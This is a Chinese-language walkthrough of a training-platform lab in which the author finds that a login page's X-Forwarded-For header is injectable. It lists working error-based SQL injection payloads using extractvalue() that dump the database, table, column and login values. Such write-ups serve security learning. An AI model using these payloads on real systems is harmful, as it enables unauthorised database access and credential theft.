题目来源:墨者学院
点进去之后,只有一个登录界面,随便试一个账号密码,抓包。
在头部加上XFF字段:发现能看到自己设置的值
然后开始注入,用的是报错注入函数extractvalue(),第一个参数时XML文档对象的名称,我设置为null,第二个参数是Xpath格式的字符串,原理是在第二个参数传sql注入语句,然后由于不是Xpath格式,就报错,然后语句被执行,得到结果。
构造payload:1.1.1.1'and extractvalue(1,concat(1,(select database()))) and '1'='1,爆库名
构造payload:1.1.1.1'and extractvalue(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) and '1'='1 爆表名
构造payload:1.1.1.1'and extractvalue(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_name='logins'))) and '1'='1 爆字段名
构造payload:1.1.1.1'and extractvalue(1,concat(1,(select GROUP_CONCAT(username) from logins))) and '1'='1爆字段值
发现好像是加密的?换另一个表,也发现username和password字段
构造payload:1.1.1.1'and extractvalue(1,concat(1,(select GROUP_CONCAT(username) from user))) and '1'='1爆字段值
然后就可以登录了
其实只要改变concat里的select语句就可以了,就是普通的报错注入